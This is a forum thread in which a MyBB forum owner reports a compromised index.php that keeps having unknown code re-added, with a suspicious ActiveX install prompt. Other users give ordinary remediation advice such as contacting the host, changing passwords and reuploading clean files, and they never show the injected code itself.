My forum has blown up, it kinda loads then doesn't load, something is up with the index.php

check the 2 screenshots attached, anyone know what could be causing this?

The install bar appears when you log into the admin panel, I didn't install cuz im wary of it.
It looks like either your forum or hosting account has been compromised somehow and there may be a malicious file on your server or your MyBB template code may have been modified to link to a malicious file.

Here's what I recommend:
  • Contact your web host immediately and see if they can help trace the source of the breach as well as fix it
  • IMMEDIATELY change your hosting account and MyBB passwords
  • Make a backup of your forum in PHPMyAdmin, although any backup you make at this point may be compromised already
  • AFTER your host has taken a look at your account replace all of the MyBB files with fresh versions from the MyBB site, except for config.php and settings.php. Download those 2 files manually and make sure they are also not compromised.
  • After replacing the files, change your database password inside of CPanel or your host's database manager. Then change the password in config.php.
  • If you are not running MyBB 1.2.13 then upgrade to 1.2.13 ASAP!

Do not download that thing from the ActiveX bar as it is most definentally a virus.

Yeah I backed up both mysql databse and phpmyadmin databases,

all files on my site are fine except for index.php
my host won't be on till tomorrow so I just have to hope for the best, thanks though for your help and I'll post if anything changes.
try reuploading the index.php

Check your files on the server for any suspicious links.
Any recent plugins been installed?

I did that, nothing happened.
but should this code be at the bottom of the index page?, because I download a new one and it doesn't have this code on it but it automatically adds it when I re-upload it.

Hi,

No, that code is not part of the standard MyBB package.

Does the code get added to the MyBB templates are the actual index.php file?
If this code appears only in index files i think it is a server sided exploit. I advise you to contact your hoster immediately. For better information you can search for it on google.

The actual index.php,
If I remove it, it stays removed for a while and the bug goes away but then it reads itself later,

is this code meant to be in admin/index.php ?

This is a server sided virus. Contact your webhost and inform them about this issue.
